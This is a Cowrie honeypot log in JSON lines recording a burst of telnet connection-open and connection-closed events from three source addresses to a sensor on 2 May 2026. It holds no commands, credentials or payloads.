{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33812,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5784f0e38f9","protocol":"telnet","message":"New connection: 164.68.122.45:33812 (10.17.0.5:23) [session: d5784f0e38f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:33.404469Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":37924,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdc566e26089","protocol":"telnet","message":"New connection: 199.231.212.75:37924 (10.17.0.5:23) [session: bdc566e26089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:33.769147Z"}
{"eventid":"cowrie.session.closed","duration":31.021464586257935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:33.948839Z","src_ip":"86.120.107.100","session":"9123275f77b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":37938,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4f27aa961d6","protocol":"telnet","message":"New connection: 199.231.212.75:37938 (10.17.0.5:23) [session: b4f27aa961d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:34.170508Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":38330,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4f55ee8f4e0","protocol":"telnet","message":"New connection: 86.120.107.100:38330 (10.17.0.5:23) [session: d4f55ee8f4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:34.620917Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33814,"dst_ip":"10.17.0.5","dst_port":23,"session":"341f34ae98f7","protocol":"telnet","message":"New connection: 164.68.122.45:33814 (10.17.0.5:23) [session: 341f34ae98f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:34.697470Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":37946,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fbc5183dc3c","protocol":"telnet","message":"New connection: 199.231.212.75:37946 (10.17.0.5:23) [session: 4fbc5183dc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:34.723555Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":43980,"dst_ip":"10.17.0.5","dst_port":23,"session":"577eb557b56d","protocol":"telnet","message":"New connection: 86.120.107.100:43980 (10.17.0.5:23) [session: 577eb557b56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:34.729105Z"}
{"eventid":"cowrie.session.closed","duration":31.252212524414062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:34.768094Z","src_ip":"199.231.212.75","session":"49ecb4cf0a25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.925008535385132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:35.416561Z","src_ip":"86.120.107.100","session":"3bff30109377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33824,"dst_ip":"10.17.0.5","dst_port":23,"session":"e82b258cec1f","protocol":"telnet","message":"New connection: 164.68.122.45:33824 (10.17.0.5:23) [session: e82b258cec1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:35.509088Z"}
{"eventid":"cowrie.session.closed","duration":31.01191020011902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:35.581329Z","src_ip":"164.68.122.45","session":"01e4719b74d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53095555305481,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:36.195188Z","src_ip":"199.231.212.75","session":"a9a5f4a30e16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003308296203613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:36.376208Z","src_ip":"199.231.212.75","session":"e437e26b210f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33826,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aba93963e59","protocol":"telnet","message":"New connection: 164.68.122.45:33826 (10.17.0.5:23) [session: 2aba93963e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:36.381141Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":43988,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe48f6bd29c2","protocol":"telnet","message":"New connection: 86.120.107.100:43988 (10.17.0.5:23) [session: fe48f6bd29c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:36.420912Z"}
{"eventid":"cowrie.session.closed","duration":31.075031995773315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:36.779124Z","src_ip":"164.68.122.45","session":"f69423ef7518","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.182074546813965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:36.979170Z","src_ip":"199.231.212.75","session":"7ee7c6d0327a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33828,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ff4e37ba1d","protocol":"telnet","message":"New connection: 164.68.122.45:33828 (10.17.0.5:23) [session: 63ff4e37ba1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:37.075822Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33842,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac38ce425775","protocol":"telnet","message":"New connection: 164.68.122.45:33842 (10.17.0.5:23) [session: ac38ce425775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:37.148510Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33844,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ab7aa3bce54","protocol":"telnet","message":"New connection: 164.68.122.45:33844 (10.17.0.5:23) [session: 1ab7aa3bce54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:37.188217Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33860,"dst_ip":"10.17.0.5","dst_port":23,"session":"d03a219b834d","protocol":"telnet","message":"New connection: 164.68.122.45:33860 (10.17.0.5:23) [session: d03a219b834d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:37.573250Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33874,"dst_ip":"10.17.0.5","dst_port":23,"session":"1549eec047d8","protocol":"telnet","message":"New connection: 164.68.122.45:33874 (10.17.0.5:23) [session: 1549eec047d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:37.837355Z"}
{"eventid":"cowrie.session.closed","duration":31.00010895729065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:38.020773Z","src_ip":"199.231.212.75","session":"b285cdc56a8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":37952,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6da7dfef246","protocol":"telnet","message":"New connection: 199.231.212.75:37952 (10.17.0.5:23) [session: f6da7dfef246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:38.385782Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33880,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2d59e683501","protocol":"telnet","message":"New connection: 164.68.122.45:33880 (10.17.0.5:23) [session: e2d59e683501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:38.537414Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":37966,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c199797055c","protocol":"telnet","message":"New connection: 199.231.212.75:37966 (10.17.0.5:23) [session: 6c199797055c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:38.545782Z"}
{"eventid":"cowrie.session.closed","duration":30.747146368026733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:39.112750Z","src_ip":"164.68.122.45","session":"522b01750896","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.799164056777954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:39.276991Z","src_ip":"164.68.122.45","session":"af83c61f4f3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":44004,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5fd99d2d98a","protocol":"telnet","message":"New connection: 86.120.107.100:44004 (10.17.0.5:23) [session: c5fd99d2d98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:39.454569Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33888,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6bd730655b1","protocol":"telnet","message":"New connection: 164.68.122.45:33888 (10.17.0.5:23) [session: b6bd730655b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:39.543203Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33894,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bbe57a1e652","protocol":"telnet","message":"New connection: 164.68.122.45:33894 (10.17.0.5:23) [session: 1bbe57a1e652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:39.910284Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":44020,"dst_ip":"10.17.0.5","dst_port":23,"session":"22f5e7fd6a78","protocol":"telnet","message":"New connection: 86.120.107.100:44020 (10.17.0.5:23) [session: 22f5e7fd6a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:39.917234Z"}
{"eventid":"cowrie.session.closed","duration":31.28012466430664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:40.384048Z","src_ip":"164.68.122.45","session":"5b891212764f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78324294090271,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:41.096261Z","src_ip":"199.231.212.75","session":"48cf841eb0db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.592852115631104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:41.114913Z","src_ip":"199.231.212.75","session":"08dbca4047a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.991878271102905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:41.119826Z","src_ip":"164.68.122.45","session":"47c164a52ad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.821056842803955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:41.982333Z","src_ip":"86.120.107.100","session":"71fae388dd3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37222,"dst_ip":"10.17.0.5","dst_port":23,"session":"6754a78a90c5","protocol":"telnet","message":"New connection: 164.68.122.45:37222 (10.17.0.5:23) [session: 6754a78a90c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:42.028345Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55798,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0cb7869bb39","protocol":"telnet","message":"New connection: 199.231.212.75:55798 (10.17.0.5:23) [session: f0cb7869bb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:42.064829Z"}
{"eventid":"cowrie.session.closed","duration":30.989447116851807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:42.267967Z","src_ip":"164.68.122.45","session":"81441d0a9077","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0066921710968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:42.408237Z","src_ip":"199.231.212.75","session":"a5f882c6f261","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55808,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7068d2fd7a","protocol":"telnet","message":"New connection: 199.231.212.75:55808 (10.17.0.5:23) [session: 8f7068d2fd7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:42.682762Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":44036,"dst_ip":"10.17.0.5","dst_port":23,"session":"64d35d7584e0","protocol":"telnet","message":"New connection: 86.120.107.100:44036 (10.17.0.5:23) [session: 64d35d7584e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:42.688165Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":44042,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b48d5c916c0","protocol":"telnet","message":"New connection: 86.120.107.100:44042 (10.17.0.5:23) [session: 9b48d5c916c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:42.822107Z"}
{"eventid":"cowrie.session.closed","duration":31.056005001068115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:43.255387Z","src_ip":"164.68.122.45","session":"61ab4773f905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37226,"dst_ip":"10.17.0.5","dst_port":23,"session":"00ac9e1f35e7","protocol":"telnet","message":"New connection: 164.68.122.45:37226 (10.17.0.5:23) [session: 00ac9e1f35e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:43.323944Z"}
{"eventid":"cowrie.session.closed","duration":31.02888774871826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:43.769243Z","src_ip":"199.231.212.75","session":"97241ab841c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37230,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f88a534c49a","protocol":"telnet","message":"New connection: 164.68.122.45:37230 (10.17.0.5:23) [session: 6f88a534c49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:43.864548Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55820,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db1f0f90ee8","protocol":"telnet","message":"New connection: 199.231.212.75:55820 (10.17.0.5:23) [session: 5db1f0f90ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:44.041578Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37238,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a611b88cf13","protocol":"telnet","message":"New connection: 164.68.122.45:37238 (10.17.0.5:23) [session: 1a611b88cf13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:44.637517Z"}
{"eventid":"cowrie.session.closed","duration":30.411250114440918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:45.043022Z","src_ip":"199.231.212.75","session":"30c511e80b44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37248,"dst_ip":"10.17.0.5","dst_port":23,"session":"85bed0dd2269","protocol":"telnet","message":"New connection: 164.68.122.45:37248 (10.17.0.5:23) [session: 85bed0dd2269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:45.075358Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37256,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a5ebe7dc50b","protocol":"telnet","message":"New connection: 164.68.122.45:37256 (10.17.0.5:23) [session: 7a5ebe7dc50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:45.127109Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37272,"dst_ip":"10.17.0.5","dst_port":23,"session":"317b916e7b79","protocol":"telnet","message":"New connection: 164.68.122.45:37272 (10.17.0.5:23) [session: 317b916e7b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:45.621609Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55824,"dst_ip":"10.17.0.5","dst_port":23,"session":"64d0a1c3d511","protocol":"telnet","message":"New connection: 199.231.212.75:55824 (10.17.0.5:23) [session: 64d0a1c3d511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:46.021238Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55834,"dst_ip":"10.17.0.5","dst_port":23,"session":"12b502e6d8ea","protocol":"telnet","message":"New connection: 199.231.212.75:55834 (10.17.0.5:23) [session: 12b502e6d8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:46.732680Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37286,"dst_ip":"10.17.0.5","dst_port":23,"session":"c968b8b04a91","protocol":"telnet","message":"New connection: 164.68.122.45:37286 (10.17.0.5:23) [session: c968b8b04a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:46.874243Z"}
{"eventid":"cowrie.session.closed","duration":30.712296724319458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:47.102252Z","src_ip":"86.120.107.100","session":"7b5dfd52f897","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819270849227905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:47.287020Z","src_ip":"164.68.122.45","session":"ceb70a23bb06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6007239818573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:47.618054Z","src_ip":"199.231.212.75","session":"a89af6d62dab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37290,"dst_ip":"10.17.0.5","dst_port":23,"session":"872e485026e9","protocol":"telnet","message":"New connection: 164.68.122.45:37290 (10.17.0.5:23) [session: 872e485026e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:47.699238Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37294,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1ca31f9aeef","protocol":"telnet","message":"New connection: 164.68.122.45:37294 (10.17.0.5:23) [session: c1ca31f9aeef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:47.807359Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37292,"dst_ip":"10.17.0.5","dst_port":23,"session":"6054db65e04e","protocol":"telnet","message":"New connection: 164.68.122.45:37292 (10.17.0.5:23) [session: 6054db65e04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:47.812730Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37308,"dst_ip":"10.17.0.5","dst_port":23,"session":"43fb16910696","protocol":"telnet","message":"New connection: 164.68.122.45:37308 (10.17.0.5:23) [session: 43fb16910696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:47.964011Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55846,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8484004e26e","protocol":"telnet","message":"New connection: 199.231.212.75:55846 (10.17.0.5:23) [session: c8484004e26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:48.168669Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55854,"dst_ip":"10.17.0.5","dst_port":23,"session":"48ede4474e47","protocol":"telnet","message":"New connection: 199.231.212.75:55854 (10.17.0.5:23) [session: 48ede4474e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:48.458187Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37310,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1748ef42ee0","protocol":"telnet","message":"New connection: 164.68.122.45:37310 (10.17.0.5:23) [session: b1748ef42ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:48.662686Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":55858,"dst_ip":"10.17.0.5","dst_port":23,"session":"3308d07d60cc","protocol":"telnet","message":"New connection: 199.231.212.75:55858 (10.17.0.5:23) [session: 3308d07d60cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:48.946872Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":37320,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e963cd138ed","protocol":"telnet","message":"New connection: 164.68.122.45:37320 (10.17.0.5:23) [session: 6e963cd138ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:49.039563Z"}
{"eventid":"cowrie.session.closed","duration":31.073468685150146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:49.132931Z","src_ip":"164.68.122.45","session":"04ddd7dd8662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.027243614196777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:49.297330Z","src_ip":"164.68.122.45","session":"0f08ee2b621c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.617616176605225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:49.573678Z","src_ip":"164.68.122.45","session":"d98b1f858214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.757075309753418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:50.032282Z","src_ip":"164.68.122.45","session":"8327c4a15ccd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":37744,"dst_ip":"10.17.0.5","dst_port":23,"session":"a87745c78dcb","protocol":"telnet","message":"New connection: 86.120.107.100:37744 (10.17.0.5:23) [session: a87745c78dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:50.351490Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33138,"dst_ip":"10.17.0.5","dst_port":23,"session":"390fd9a8ecef","protocol":"telnet","message":"New connection: 199.231.212.75:33138 (10.17.0.5:23) [session: 390fd9a8ecef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:50.567225Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":59528,"dst_ip":"10.17.0.5","dst_port":23,"session":"d61d9df7c386","protocol":"telnet","message":"New connection: 164.68.122.45:59528 (10.17.0.5:23) [session: d61d9df7c386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:51.326162Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":37746,"dst_ip":"10.17.0.5","dst_port":23,"session":"98287aa631f3","protocol":"telnet","message":"New connection: 86.120.107.100:37746 (10.17.0.5:23) [session: 98287aa631f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:51.402759Z"}
{"eventid":"cowrie.session.closed","duration":31.163532733917236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:28:51.554837Z","src_ip":"164.68.122.45","session":"94c6c7b8adf8","protocol":"telnet"}
